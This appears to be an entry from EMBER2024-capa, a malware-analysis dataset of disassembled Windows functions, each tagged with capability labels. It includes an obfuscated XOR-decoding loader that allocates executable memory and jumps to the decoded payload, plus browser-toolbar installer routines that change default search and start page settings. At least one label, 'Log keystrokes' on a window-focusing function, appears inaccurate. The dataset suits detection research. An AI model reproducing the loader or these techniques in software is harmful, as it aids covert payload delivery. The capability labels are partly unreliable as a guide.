joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10070720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1007072f
pop dword [ebp - 0x48]
mov eax, 0x1007072f
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xd291f6b7
add dword [ebp - 0x58], 0x7bc04e94
mov dword [ebp - 0x54], 0x46d26b7
add dword [ebp - 0x54], 0x2dc6258e
mov dword [ebp - 0x50], 0x592f1ac9
sub dword [ebp - 0x50], 0xce2d69b
mov dword [ebp - 0x4c], 0xf7754b8e
add dword [ebp - 0x4c], 0x88ab472
lea eax, [ebp - 0x58]
push eax
mov eax, 0x90211b12
add eax, 0x7fea55ce
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xfd52f5eb
add dword [ebp - 0x58], 0x771f736b
mov dword [ebp - 0x54], 0xab4147cd
sub dword [ebp - 0x54], 0x69d4e658
mov dword [ebp - 0x50], 0xf8b7ca3
add dword [ebp - 0x50], 0x53e3efc9
mov dword [ebp - 0x4c], 0x2914f0ef
add dword [ebp - 0x4c], 0xd6eb0f11
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x4da492a2
sub eax, 0x3d992206
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x5f01b
push 0
call eax
mov ecx, 0xd9b0ea9c
add ecx, 0x264f6232
mov edx, eax
mov ebx, 0x309dd443
add ebx, 0xdf715fbd
add ebx, dword [ebp - 0x48]
mov edi, 0x739cb7f1
sub edi, 0x49754155
sub dword [ebp - 0x44], 0x89e9e5fb
mov esi, dword [ebx]
xor esi, edi
xor dword [ebp - 0x28], 0xa8880596
mov dword [edx], esi
add dword [ebp - 0x10], 0x1f3b282a
add edx, 0xc6215d00
sub edx, 0xc6215cfc
add ebx, 4
loop 0x1007084c
add eax, 0x1260b
mov ebx, eax
add eax, 0x932ed504
add eax, 0x6cd12b01
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401db0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x80c], 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401df7
mov ecx, dword [ebp + 0xc]
push ecx
push str.InstallToolbarRemote__s___File_doesnt_exist_
call fcn.00457270
add esp, 8
mov eax, dword [ebp - 0x80c]
jmp 0x401f45
xor edx, edx
mov word [ebp - 0x808], dx
push 0x7fe
push 0
lea eax, [ebp - 0x806]
push eax
call fcn.00468010
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push ecx
push str._ctid_s__s__openuninstallpageFALSE__openwelcomedialogFALSE
push 0x400
lea edx, [ebp - 0x808]
push edx
call fcn.004685e6
add esp, 0x10
movzx eax, byte [ebp + 0x14]
cmp eax, 3
jne 0x401e57
push str.__ff
push 0x400
lea ecx, [ebp - 0x808]
push ecx
call fcn.004684d1
add esp, 0xc
jmp 0x401e70
push str.__ie
push 0x400
lea edx, [ebp - 0x808]
push edx
call fcn.004684d1
add esp, 0xc
cmp dword [ebp + 0x18], 0
je 0x401e91
push str.__DefaultSearchTRUE
push 0x400
lea eax, [ebp - 0x808]
push eax
call fcn.004684d1
add esp, 0xc
jmp 0x401eaa
push str.__DefaultSearchFALSE
push 0x400
lea ecx, [ebp - 0x808]
push ecx
call fcn.004684d1
add esp, 0xc
cmp dword [ebp + 0x1c], 0
je 0x401ecb
push str.__StartPageTRUE
push 0x400
lea edx, [ebp - 0x808]
push edx
call fcn.004684d1
add esp, 0xc
jmp 0x401ee4
push str.__StartPageFALSE
push 0x400
lea eax, [ebp - 0x808]
push eax
call fcn.004684d1
add esp, 0xc
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push 1
push 1
push 0x4acec0
push 0x4acec4
lea edx, [ebp - 0x808]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004550d0
add esp, 0x24
mov dword [ebp - 0x80c], eax
mov edx, dword [ebp - 0x80c]
push edx
lea eax, [ebp - 0x808]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.InstallToolbarRemote__d___s___s___End__d_
call fcn.00457270
add esp, 0x14
mov eax, dword [ebp - 0x80c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x408590
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x4adf28
push 0x83
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x408611
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408611
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
cmp dword [ebp + 0xc], 0
ja 0x4085ef
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x408611
cmp dword [ebp + 0x10], 0
je 0x4085ff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
push str.CheckDataRes____DATA_Resource_found_
call fcn.00457270
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x408620
push str.CheckDataRes____No_DATA_Resource_found_
call fcn.00457270
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408630
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004388a0
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40879b
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40879b
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], 0x100000
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push str.ExtractRes__s___LgData_d_oct
call fcn.00457270
add esp, 0xc
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jbe 0x408776
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x24], 0
jbe 0x408774
cmp dword [0x4e8c5c], 0
jne 0x408774
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push str.ExtractRes_____WriteFile__d____d
call fcn.00457270
add esp, 0xc
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push ecx
push eax
mov ecx, 0x4d09c0
call fcn.00412760
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x14]
jbe 0x40874e
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
jmp 0x408750
jmp 0x408774
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x14]
jbe 0x408760
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
jmp 0x408766
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
jmp 0x4086da
jmp 0x408791
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x409bb0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x128], 0x11c
push 0x118
push 0
lea eax, [ebp - 0x124]
push eax
call fcn.00468010
add esp, 0xc
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp + 8], 0
je 0x409c28
cmp dword [ebp - 0x124], 6
jne 0x409c14
cmp dword [ebp - 0x120], 0
jne 0x409c14
mov dword [ebp - 0x12c], 1
jmp 0x409c1e
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x12c]
jmp 0x409c34
cmp dword [ebp - 0x124], 6
sbb eax, eax
add eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret

Function at 0x409c50
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x128], 0x11c
push 0x118
push 0
lea eax, [ebp - 0x124]
push eax
call fcn.00468010
add esp, 0xc
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp + 8], 0
je 0x409cc8
cmp dword [ebp - 0x124], 6
jne 0x409cb4
cmp dword [ebp - 0x120], 1
jne 0x409cb4
mov dword [ebp - 0x12c], 1
jmp 0x409cbe
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x12c]
jmp 0x409cff
cmp dword [ebp - 0x124], 6
ja 0x409cef
cmp dword [ebp - 0x124], 6
jne 0x409ce3
cmp dword [ebp - 0x120], 0
ja 0x409cef
mov dword [ebp - 0x130], 0
jmp 0x409cf9
mov dword [ebp - 0x130], 1
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x40a970
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp dword [ebp + 8], eax
jne 0x40a994
mov dword [ebp - 4], 1
jmp 0x40aa2b
push 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 8]
je 0x40a9f6
push 1
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_BringWindowToTop]
jmp 0x40aa03
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x40aa1f
push 9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40aa2b
push 5
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40ab80
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
push 0x11c
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00468010
add esp, 0xc
mov dword [ebp - 0x128], 0x11c
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40abea
mov dword [ebp - 0x128], 0x114
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40abea
xor eax, eax
jmp 0x40ac62
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x40ac0f
cmp dword [ebp - 0x124], 5
jb 0x40ac06
cmp dword [ebp - 0x120], 1
jae 0x40ac0f
cmp dword [ebp - 0x124], 6
jbe 0x40ac5f
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
je 0x40ac5f
push str.AnimateWindow
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x40ac5f
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x130]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x40ac70
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40ad16
movzx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x40acce
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x40accc
push 5
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [ebp + 8]
push eax
call fcn.0040a970
add esp, 4
jmp 0x40ad16
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40ad16
cmp dword [ebp + 0x10], 0
je 0x40acea
mov edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
jmp 0x40acf1
mov dword [ebp - 4], 0x1f4
push 0x50004
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040ab80
add esp, 0xc
test eax, eax
jne 0x40ad16
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov esp, ebp
pop ebp
ret
Function at 0x40bf40
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
je 0x40c07c
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
jne 0x40bf92
cmp dword [ebp + 0x14], 0
je 0x40bf8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
jmp 0x40c0b9
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x40bfb8
cmp dword [ebp + 0x14], 0
je 0x40bfb1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
jmp 0x40c0b9
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40c05e
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40c053
mov eax, dword [ebp - 0x14]
push eax
call fcn.00468ad0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40c03a
mov ecx, dword [ebp - 8]
add ecx, 1
push ecx
call fcn.00468c27
add esp, 4
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x40c033
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
add edx, 1
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call fcn.0046a7ad
add esp, 0xc
mov dword [ebp - 4], 1
jmp 0x40c03a
mov dword [ebp - 0xc], 8
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
test eax, eax
jne 0x40c051
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
jmp 0x40c05c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
jmp 0x40c067
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test eax, eax
jne 0x40c07a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
jmp 0x40c083
mov dword [ebp - 0xc], 0x57
cmp dword [ebp + 0x10], 0
je 0x40c091
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp + 0x14], 0
je 0x40c09f
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
cmp dword [ebp - 0xc], 0
je 0x40c0b6
mov ecx, dword [ebp - 0xc]
push ecx
push str.GetClipboardText___returns_with_the_error_code__d
call fcn.00457270
add esp, 8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40c400
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 5
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40c483
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40c481
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
jmp 0x40c48c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 4], 0
je 0x40c4a3
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 4], 0
cmp dword [ebp - 0xc], 0
je 0x40c4bd
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], edx
push 0x4c7e64
lea eax, [ebp - 0x1c]
push eax
call fcn.004687c2
mov ecx, dword [ebp - 8]
push ecx
push str.IsRunAsAdmin_____d
call fcn.004576a0
add esp, 8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret

Function at 0x40c6c0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x40c79b
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2 - 2]
cmp edx, 0x5c
jne 0x40c722
xor eax, eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov word [edx + ecx*2 - 2], ax
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x40c730
xor eax, eax
jmp 0x40c7a5
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40c799
push 0x5c
mov eax, dword [ebp + 8]
push eax
call fcn.0040fea0
add esp, 8
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x40c784
xor ecx, ecx
mov edx, dword [ebp - 0x21c]
mov word [edx], cx
mov eax, dword [ebp + 8]
push eax
call fcn.0040c6c0
add esp, 4
mov dword [ebp - 8], eax
mov ecx, 0x5c
mov edx, dword [ebp - 0x21c]
mov word [edx], cx
cmp dword [ebp - 8], 0
je 0x40c799
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 8], eax
jmp 0x40c7a2
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x40caf0
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x210]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
or ecx, 0x8000
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40cb3f
lea edx, [ebp - 0x210]
push edx
push str.CreateFreeDirectory____SHGetFolderPath__s__failed_
call fcn.00457270
add esp, 8
xor eax, eax
jmp 0x40cbf4
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x5c
je 0x40cb5c
push 0x4aeef8
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x5c
mov edx, dword [ebp + 0xc]
push edx
call fcn.0046b15d
add esp, 8
test eax, eax
je 0x40cbbe
push 0x5c
lea eax, [ebp - 0x210]
push eax
call fcn.0040fea0
add esp, 8
mov dword [ebp - 0x214], eax
xor ecx, ecx
mov edx, dword [ebp - 0x214]
mov word [edx], cx
lea eax, [ebp - 0x210]
push eax
call fcn.0040c6c0
add esp, 4
mov ecx, 0x5c
mov edx, dword [ebp - 0x214]
mov word [edx], cx
push 0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40cbde
push str.CreateFreeDirectory____CreateDirectory_failed_
call fcn.004576a0
add esp, 4
push 3
push 0x10000000
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040c8e0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x40d340
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
xor ecx, ecx
mov word [ebp - 0x218], cx
push 0x206
push 0
lea edx, [ebp - 0x216]
push edx
call fcn.00468010
add esp, 0xc
cmp dword [ebp - 4], 0
jle 0x40d464
mov eax, dword [ebp + 8]
push eax
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call fcn.0046a95d
add esp, 0xc
mov edx, dword [ebp - 4]
movzx eax, word [ebp + edx*2 - 0x21a]
cmp eax, 0x5c
jne 0x40d3c5
xor ecx, ecx
mov edx, dword [ebp - 4]
mov word [ebp + edx*2 - 0x21a], cx
movzx eax, word [ebp - 0x218]
test eax, eax
jne 0x40d3d7
xor eax, eax
jmp 0x40d467
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40d464
push 0x5c
lea edx, [ebp - 0x218]
push edx
call fcn.0040fea0
add esp, 8
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x40d434
xor eax, eax
mov ecx, dword [ebp - 0x21c]
mov word [ecx], ax
lea edx, [ebp - 0x218]
push edx
call fcn.0040d340
add esp, 4
mov dword [ebp - 8], eax
mov eax, 0x5c
mov ecx, dword [ebp - 0x21c]
mov word [ecx], ax
cmp dword [ebp - 8], 0
je 0x40d464
push 0
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x218]
push ecx
push str.CreateAllDirectory__s____d
call fcn.00457270
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret
Function at 0x40d480
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x4ce724]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
push eax
call fcn.00468ad0
add esp, 4
mov dword [ebp - 4], eax
mov byte [ebp - 0x118], 0
push 0x103
push 0
lea ecx, [ebp - 0x117]
push ecx
call fcn.00468010
add esp, 0xc
cmp dword [ebp - 4], 0
jbe 0x40d580
mov edx, dword [ebp + 8]
push edx
push 0x104
lea eax, [ebp - 0x118]
push eax
call fcn.0046a7ad
add esp, 0xc
mov ecx, dword [ebp - 4]
movsx edx, byte [ebp + ecx - 0x119]
cmp edx, 0x5c
jne 0x40d503
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x119], 0
movsx ecx, byte [ebp - 0x118]
test ecx, ecx
jne 0x40d512
xor eax, eax
jmp 0x40d583
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40d580
push 0x5c
lea eax, [ebp - 0x118]
push eax
call fcn.0040fec0
add esp, 8
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x40d568
mov ecx, dword [ebp - 0x11c]
mov byte [ecx], 0
lea edx, [ebp - 0x118]
push edx
call fcn.0040d480
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x11c]
mov byte [eax], 0x5c
cmp dword [ebp - 8], 0
je 0x40d580
push 0
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00467fff
mov esp, ebp
pop ebp
ret